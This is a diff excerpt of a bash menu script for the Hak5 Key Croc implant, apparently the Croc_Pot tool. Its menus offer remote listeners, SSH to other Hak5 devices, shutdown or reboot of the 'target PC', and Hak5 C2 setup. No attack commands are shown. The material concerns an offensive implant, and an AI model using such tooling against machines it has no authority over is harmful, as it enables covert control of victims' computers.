MenuColor 6 REMOTE COMMANDS ; echo -ne " ${clear}\n" MenuColor 6 REMOTE COMMANDS ; echo -ne " ${clear}\n"
MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) remote_listener ;; 1) remote_listener ;;
2) croc_listener ;; 2) croc_listener ;;
@ -5007,8 +5028,6 @@ echo -ne "\t\t" ; MenuColor 5 WIFI PINEAPPLE | tr -d '\t' ; echo -ne " ${clear}
echo -ne "\t\t" ; MenuColor 6 PACKET SQUIRREL | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 13 REMOVE SSH_KEYGEN | tr -d '\t' ; echo -ne " ${clear}\n" echo -ne "\t\t" ; MenuColor 6 PACKET SQUIRREL | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 13 REMOVE SSH_KEYGEN | tr -d '\t' ; echo -ne " ${clear}\n"
echo -ne "\t\t" ; MenuColor 7 LAN TURTLE | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 14 RETURN TO MAIN MENU | tr -d '\t' ; echo -ne " ${clear}\n" echo -ne "\t\t" ; MenuColor 7 LAN TURTLE | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 14 RETURN TO MAIN MENU | tr -d '\t' ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) pc_ssh ; ssh_menu ;; 1) pc_ssh ; ssh_menu ;;
2) userinput_ssh ; ssh_menu ;; 2) userinput_ssh ; ssh_menu ;;
@ -5313,8 +5332,6 @@ MenuColor 1 SHUTDOWN TARGET PC ; echo -ne " ${clear}\n"
MenuColor 2 REBOOT TARGET PC ; echo -ne " ${clear}\n" MenuColor 2 REBOOT TARGET PC ; echo -ne " ${clear}\n"
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) shutdown_pc ;; 1) shutdown_pc ;;
2) reboot_pc ;; 2) reboot_pc ;;
@ -5337,8 +5354,6 @@ MenuColor 7 REMOVE CROC_POT AN CONTENTS ; echo -ne " ${clear}\n"
MenuColor 8 REBOOT/SHUTDOWN TARGET PC ; echo -ne " ${clear}\n" MenuColor 8 REBOOT/SHUTDOWN TARGET PC ; echo -ne " ${clear}\n"
MenuColor 9 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 9 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) croc_firmware ; croc_recovery ;; 1) croc_firmware ; croc_recovery ;;
2) hak_factory ; croc_recovery ;; 2) hak_factory ; croc_recovery ;;
@ -5363,8 +5378,7 @@ function hak_cloud() {
-To get Token keys Run #3 RELOAD HAK5 C2 until the keys show up -To get Token keys Run #3 RELOAD HAK5 C2 until the keys show up
-May need to Unplug the keycroc plug back in and try again -May need to Unplug the keycroc plug back in and try again
-This will check to see if unzip is installed if not it will install it -This will check to see if unzip is installed if not it will install it
-This will not start C2 on boot -This will not start C2 on boot Next reboot run #4 RESTART HAK5 C2
-Next reboot run #4 RESTART HAK5 C2
-ON any device type in the keycroc IP into any web browser url, That is on the -ON any device type in the keycroc IP into any web browser url, That is on the
same network as the keycroc and connect to HAK5 C2')\n" same network as the keycroc and connect to HAK5 C2')\n"
## ##
@ -5603,8 +5617,6 @@ MenuColor 2 RESTORE C2 SETUP IP ; echo -ne " ${clear}\n"
MenuColor 3 EDIT CROC IP ; echo -ne " ${clear}\n" MenuColor 3 EDIT CROC IP ; echo -ne " ${clear}\n"
MenuColor 4 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 4 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) save_setup ; save_ip ;; 1) save_setup ; save_ip ;;
2) restore_ip ; save_ip ;; 2) restore_ip ; save_ip ;;
@ -5629,8 +5641,6 @@ MenuColor 8 QUICK START C2 ; echo -ne " ${clear}\n"
MenuColor 9 SAVE C2 SETUP IP ; echo -ne " ${clear}\n" MenuColor 9 SAVE C2 SETUP IP ; echo -ne " ${clear}\n"
MenuColor 10 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 10 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) cloud_setup ; hak_cloud ;; 1) cloud_setup ; hak_cloud ;;
2) start_web ; hak_cloud ;; 2) start_web ; hak_cloud ;;
@ -5663,8 +5673,6 @@ MenuColor 6 SSH MENU ; echo -ne " ${blue} ${array[9]} ${clear} \n"
MenuColor 7 RECOVERY MENU ; echo -ne " ${green} ${array[10]} ${clear} \n" MenuColor 7 RECOVERY MENU ; echo -ne " ${green} ${array[10]} ${clear} \n"
MenuColor 8 HAK5 CLOUD C2 ; echo -ne " ${white} ${array[11]} ${clear} \n" MenuColor 8 HAK5 CLOUD C2 ; echo -ne " ${white} ${array[11]} ${clear} \n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) croc_mail ;; 1) croc_mail ;;
2) croc_pot_plus ;; 2) croc_pot_plus ;;